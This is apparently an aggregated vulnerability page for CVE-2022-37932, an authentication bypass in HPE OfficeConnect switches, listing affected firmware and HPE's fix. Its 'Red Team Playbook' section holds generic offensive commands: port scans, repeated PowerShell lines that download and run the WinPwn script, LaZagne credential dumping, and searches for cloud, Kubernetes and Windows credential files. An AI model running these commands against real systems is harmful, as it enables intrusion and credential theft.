CVE-2022-37932
Overview
This vulnerability is an authentication bypass affecting Hewlett Packard Enterprise OfficeConnect 1820, 1850, and 1920S Network switches. The root cause lies in improper validation of authentication credentials within the affected firmware, allowing unauthorized remote access. The flaw resides in the firmware components responsible for access control enforcement on these network switches.
Vulnerability Description
A potential security vulnerability has been identified in Hewlett Packard Enterprise OfficeConnect 1820, 1850, and 1920S Network switches. The vulnerability could be remotely exploited to allow authentication bypass. HPE has made the following software updates to resolve the vulnerability in Hewlett Packard Enterprise OfficeConnect 1820, 1850 and 1920S Network switches versions: Prior to PT.02.14; Prior to PC.01.22; Prior to PO.01.21; Prior to PD.02.22;
Impact
An attacker with network access can remotely bypass authentication controls without user interaction or privileges, gaining full administrative control over the affected switches. This enables unauthorized configuration changes, potential network disruption, and lateral movement within the enterprise environment. The vulnerability's CVSS vector indicates low attack complexity and no required privileges, highlighting the ease of exploitation over the network.
Solution
Hewlett Packard Enterprise has released firmware updates to address this issue in OfficeConnect 1820, 1850, and 1920S Network switches. Affected versions prior to PT.02.14, PC.01.22, PO.01.21, and PD.02.22 should be upgraded to the fixed releases. Detailed patch instructions and downloads are available in HPE advisory document emr_na-hpesbnw04383en_us at https://support.hpe.com/hpsc/doc/public/display?docLocale=en_US&docId=emr_na-hpesbnw04383en_us.
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Affected Products (19)
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Hpe | Officeconnect 1820 J9979a Firmware | All |
cpe:2.3:o:hpe:officeconnect_1820_j9979a_firmware:*:*:*:*:*:*:*:*
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Hpe | Officeconnect 1820 J9982a Firmware | All |
cpe:2.3:o:hpe:officeconnect_1820_j9982a_firmware:*:*:*:*:*:*:*:*
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Hpe | Officeconnect 1820 J9980a Firmware | All |
cpe:2.3:o:hpe:officeconnect_1820_j9980a_firmware:*:*:*:*:*:*:*:*
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Hpe | Officeconnect 1820 J9983a Firmware | All |
cpe:2.3:o:hpe:officeconnect_1820_j9983a_firmware:*:*:*:*:*:*:*:*
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Hpe | Officeconnect 1820 J9981a Firmware | All |
cpe:2.3:o:hpe:officeconnect_1820_j9981a_firmware:*:*:*:*:*:*:*:*
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Hpe | Officeconnect 1820 J9984a Firmware | All |
cpe:2.3:o:hpe:officeconnect_1820_j9984a_firmware:*:*:*:*:*:*:*:*
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Hpe | Officeconnect 1850 24g 2xgt Poe\+ Firmware | All |
cpe:2.3:o:hpe:officeconnect_1850_24g_2xgt_poe\+_firmware:*:*:*:*:*:*:*:*
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Hpe | Officeconnect 1850 24g 2xgt Firmware | All |
cpe:2.3:o:hpe:officeconnect_1850_24g_2xgt_firmware:*:*:*:*:*:*:*:*
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Hpe | Officeconnect 1850 48g 4xgt Poe\+ Firmware | All |
cpe:2.3:o:hpe:officeconnect_1850_48g_4xgt_poe\+_firmware:*:*:*:*:*:*:*:*
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Hpe | Officeconnect 1850 48g 4xgt Firmware | All |
cpe:2.3:o:hpe:officeconnect_1850_48g_4xgt_firmware:*:*:*:*:*:*:*:*
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Hpe | Officeconnect 1850 6xgt Firmware | All |
cpe:2.3:o:hpe:officeconnect_1850_6xgt_firmware:*:*:*:*:*:*:*:*
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Hpe | Officeconnect 1850 2xgt\/spf\+ Firmware | All |
cpe:2.3:o:hpe:officeconnect_1850_2xgt\/spf\+_firmware:*:*:*:*:*:*:*:*
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Hpe | Officeconnect 1920s 24g 2sfp Poe\+ Firmware | All |
cpe:2.3:o:hpe:officeconnect_1920s_24g_2sfp_poe\+_firmware:*:*:*:*:*:*:*:*
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Hpe | Officeconnect 1920s 24g 2sfp Ppoe\+ Firmware | All |
cpe:2.3:o:hpe:officeconnect_1920s_24g_2sfp_ppoe\+_firmware:*:*:*:*:*:*:*:*
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Hpe | Officeconnect 1920s 24g 2sfp Firmware | All |
cpe:2.3:o:hpe:officeconnect_1920s_24g_2sfp_firmware:*:*:*:*:*:*:*:*
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Hpe | Officeconnect 1920s 48g 4sfp Ppoe\+ Firmware | All |
cpe:2.3:o:hpe:officeconnect_1920s_48g_4sfp_ppoe\+_firmware:*:*:*:*:*:*:*:*
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Hpe | Officeconnect 1920s 48g 4sfp Firmware | All |
cpe:2.3:o:hpe:officeconnect_1920s_48g_4sfp_firmware:*:*:*:*:*:*:*:*
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Hpe | Officeconnect 1920s 8g Ppoe\+ Firmware | All |
cpe:2.3:o:hpe:officeconnect_1920s_8g_ppoe\+_firmware:*:*:*:*:*:*:*:*
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Hpe | Officeconnect 1920s 8g Firmware | All |
cpe:2.3:o:hpe:officeconnect_1920s_8g_firmware:*:*:*:*:*:*:*:*
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GitHub PoCs (1)
| Repository | Author | Stars | Forks | Date | Link |
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Tim-Hoekstra/CVE-2022-37932
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Tim-Hoekstra | 2 | 0 | 2025-04-10 | View |
Threat Feed
1 eventsProof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
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CAPEC Attack Patterns
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Red Team Playbook
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Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
& "#{rustscan_path}" -a #{host_to_scan} --greppable -p #{port_list}
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
for pid in $(pgrep -f 'Runner.Worker|Runner.Listener|runsvc|run.sh' 2>/dev/null); do tr '\0' '\n' < /proc/$pid/environ 2>/dev/null | grep -iE 'env|ssh'; done
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path} -maxdepth 6 -name "#{filename}" -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.aws/#{filename}' -type f 2>/dev/null
find #{file_path} -path '*/.azure/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.docker/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.config/gcloud/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /root -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find /etc/kubernetes -name '*.conf' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for filename in #{filenames}; do find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null; done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
for filename in #{filenames}; do
find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null
done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /etc/mysql -name 'my.cnf' -type f #{optional_flags} 2>/dev/null
find /etc/redis -name 'redis.conf' -type f #{optional_flags} 2>/dev/null
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
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| nvd.nist.gov |
NVD
reference
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https://nvd.nist.gov/vuln/detail/CVE-2022-37932 |
| support.hpe.com |
GitHub CVE
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https://support.hpe.com/hpsc/doc/public/display?docLocale=en_US&docId=emr_na-hpesbnw04383en_us |